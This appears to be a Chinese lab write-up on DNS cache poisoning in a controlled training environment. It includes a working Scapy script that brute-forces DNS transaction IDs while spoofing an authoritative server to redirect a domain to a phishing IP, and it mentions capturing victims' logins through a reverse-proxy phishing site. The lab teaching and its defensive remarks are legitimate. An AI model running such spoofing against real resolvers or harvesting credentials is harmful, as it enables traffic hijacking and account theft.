实验1:DNS缓存污染攻击

【实验目的】

  1. 了解并实践DNS缓存污染攻击:通过实验,深入理解DNS缓存污染攻击的原理和实现方法,包括如何利用DNS事务ID(TXID)猜测与碰撞来实现攻击;
  2. 学习使用Scapy构造和发送伪造的DNS响应包,掌握使用Scapy工具监听网络流量、构造DNS数据包以及发送伪造响应包的技能;
  3. 掌握BIND9 DNS服务器的配置方法:通过修改BIND9配置文件,将其查询端口固定化,以便于实验中的攻击操作;
  4. 实战钓鱼网站的搭建,学习如何在Nginx服务器上配置反向代理功能,并将访问流量转发至指定目标网站,同时记录并获取用户的登录信息。

【实验环境】

  1. 该拓扑分为受害者、攻击者、递归DNS、钓鱼服务器以及互联网;
  2. 本实验中受害者向递归服务器发起imool.net子域名的解析请求,然后递归服务器会前往imool.net的权威发起查询,递归服务器在得到权威返回的解析结果后再返回给受害者。学生需要在Attacker上编辑DNS缓存污染攻击脚本,在imool.net权威向递归服务器返回正常解析结果前,破解出DNS数据包中的事务序号(TXID),将钓鱼服务器的IP地址与目标域名映射关系缓存至递归服务器记录中,从而影响受害者;
  3. 为简化实验难度,学生需要先配置DNS,使BIND9对外发起DNS解析请求的随机端口固定化,本实验环境中,imool.net权威服务器已经延迟了响应时间,并将TTL值调整为10秒,目的是增大攻击窗口并降低递归服务器上缓存的时间。
  4. imool.net域名已开启了泛域名解析,可以自行选定子域名作为攻击对象,如dnslab.imool.net;
  5. 在Phishing Website上完成钓鱼网站配置,获取受害者的登录用户名和密码。

【实验拓扑】

image.png
图4-1-1 实验拓扑图

【实验步骤】

1.因为伪造的是权威返回给递归服务器的包,所以,Attacker先需要查询imool.net的权威地址,确定攻击脚本中的源IP;

1
2
# dig NS dnslab.imool.net  #查询dnslab.imool.net的权威信息
# dig ns1.imool.net #查询ns1.imool.net的IP地址

2.在Recursive DNS的“/etc/bind/named.conf.options”文件中将BIND9随机化端口改为固定端口,这样一来Recursive DNS对外发起DNS解析请求的端口就已知了,修改完配置后需要重新启动BIND9;

1
2
3
4
# vi /etc/bind/named.conf.options
……
query-source port 10001; #如:固定为10001端口
# systemctl restart bind9

3.在Attacker上使用scapy编辑DNS虚假解析响应包,需要重点关注以下参数;

1
2
3
4
5
6
7
8
9
10
victim_subdomain = "?" #要攻击的imool.net子域名,如:dnslab.imool.net
fake_ip = "?" #将imool.net子域名解析到钓鱼网站的IP

authoritative_ip ="?" #在步骤1中获取到的权威ip作为源地址
localdns_ip = "?" #要污染的递归DNS的IP

authoritative_port= ? #权威的端口,DNS默认为53端口
localdns_port= ? #步骤2设置的固定端口

fake_rr = DNSRR(rrname=victim_subdomain, type=1, ttl=?, rdata=fake_ip) #设定一个较大ttl值能增加虚假缓存的保留时间

4.由于Recursive DNS和imool.net权威通讯的TXID未知,其他参数已在前面的步骤中获得,这里需要进行对TXID猜测碰撞;

1
dns_layer = DNS(id=?, qr=1, aa=1, qd=DNSQR(qname=victim_subdomain), ancount=1,an=fake_rr) #id代表TXID

5.每生成一个TXID都需要进行IP层、UDP层、DNS层的数据的组装和发送,但是imool.net权威响应的时间较快,需要进一步调整策略来提高发包的速率,如使用多线程、预先生成不同TXID数据包再发送、结合其他语言等;正确的DNS缓存能在本地保留10秒,在这10内关于该域名的解析将不会再向权威查询。为了提高攻击效率,在Victim主机上提供一个定时发送域名解析请求的脚本(DNS_Query.py),这样学生只需要关注如何提高破解的效率。 在受害者主机上选定好imool.net子域名后,补充到DNS_query.py中,启动该脚本;

1
#python3 DNS_Query.py

6.在攻击者主机上执行攻击脚本,当缓存污染成功后,在受害者主机上DNS_Query.py脚本的执行中能看到图4-1-2的效果,由于ttl较大,Victim将会长期受到虚假地址的影响;

image.png
图4-1-2 DNS缓存污染成功效果图

【实验步骤】

1.确定攻击脚本中的源 IP

image-20240721201856283

image-20240721201933284

39.107.126.48 就是我们要的权威服务器的ip地址

2.更改递归服务器的BIND9 随机化端口为固定端口

image-20240721202728321

3.准备攻击

image-20240721203209346

改为我博客的公网 ip:8.222.145.157

image-20240721203454106

localdns_ip这一步卡了半天,在拓扑列表里这个递归 dns 的 ip 地址写的是 192.168.1.3,我就直接没进去看直接用这个了,后面跑半天跑不出来,问老师才知道这个 ip 填的不对,进去一看是 192.168.3.255 (拓扑图中标的是对的,离谱)

image-20240721203732088

1
2
3
4
5
6
7
8
9
10
victim_subdomain = "dnslab.imool.net" #要攻击的imool.net子域名,如:dnslab.imool.net
fake_ip = "8.222.145.157" #将imool.net子域名解析到钓鱼网站的IP

authoritative_ip ="39.107.126.48" #在步骤1中获取到的权威ip作为源地址
localdns_ip = "192.168.3.53" #要污染的递归DNS的IP

authoritative_port= 53 #权威的端口,DNS默认为53端口
localdns_port= 10001 #步骤2设置的固定端口

fake_rr = DNSRR(rrname=victim_subdomain, type=1, ttl=3600, rdata=fake_ip) #设定一个较大ttl值能增加虚假缓存的保留时间

4~6.dns_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# dns_attack.py
from scapy.all import *
import threading

victim_subdomain = "dnslab.imool.net"
fake_ip = "8.222.145.157"
authoritative_ip = "39.107.126.48"
localdns_ip = "192.168.3.53"
authoritative_port = 53
localdns_port = 10001

fake_rr = DNSRR(rrname=victim_subdomain, type="A", ttl=3600, rdata=fake_ip)


def send_dns_response(txid):
dns_response = IP(src=authoritative_ip, dst=localdns_ip) / \
UDP(sport=authoritative_port, dport=localdns_port) / \
DNS(id=txid, qr=1, aa=1, qdcount=1, ancount=1,
an=fake_rr,
qd=DNSQR(qname=victim_subdomain, qtype="A"))

send(dns_response)


def attack():
threads = []
for txid in range(0, 65536):
thread = threading.Thread(target=send_dns_response, args=(txid,))
thread.start()
threads.append(thread)

for thread in threads:
thread.join()


attack()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# query_dns.py
import time
import subprocess

victim_subdomain = "dnslab.imool.net."
dns_server_ip = "39.107.126.48"

def query_dns():
while True:
result = subprocess.run(["dig", victim_subdomain, "@"+dns_server_ip], capture_output=True, text=True)
print(result.stdout)
time.sleep(9)

if __name__ == "__main__":
query_dns()

运行脚本爆破

image-20240721223113500

污染成功

其实,现在有很多技术可以防御缓存污染,如域名签名协议(DNSSEC):发送方使用私钥签名、公开公钥,接收方使用公钥验证,而且,本实验为了降低难度,递归域名服务器向顶级域名发送查询请求时使用的端口固定,这大大降低了爆破难度,所以直接拿本文中的脚本几乎不可能完成现实中对dns递归服务器的污染,希望读者不要将本文中的技术用于恶意或非法活动。

免责声明

本文所提供的DNS缓存污染实验仅供学习和研究目的使用。请务必遵守以下几点:

  1. 合法使用:请确保在进行任何网络实验或测试时,均获得了相关网络所有者或管理员的明确授权。根据《中华人民共和国刑法》第二百八十六条,该条款明确禁止非法获取计算机信息系统数据、非法控制计算机信息系统和破坏计算机信息系统的行为未经授权的网络攻击或测试是非法的,可能会导致法律诉讼。
  2. 教育用途:本文的内容仅用于教育和研究目的,旨在帮助读者了解网络安全的基本原理和潜在漏洞,以提高其自身网络的安全性。
  3. 责任声明:作者对任何因使用本文提供的信息而导致的直接或间接损失或损害不承担任何责任。读者在实施任何实验前,应充分了解其法律和道德义务。
  4. 道德准则:请尊重他人的网络和隐私,不要将本文中的技术用于恶意或非法活动。

通过阅读本文,您即表示理解并同意遵守以上条款。如有任何疑问,请咨询相关法律或网络安全专业人士。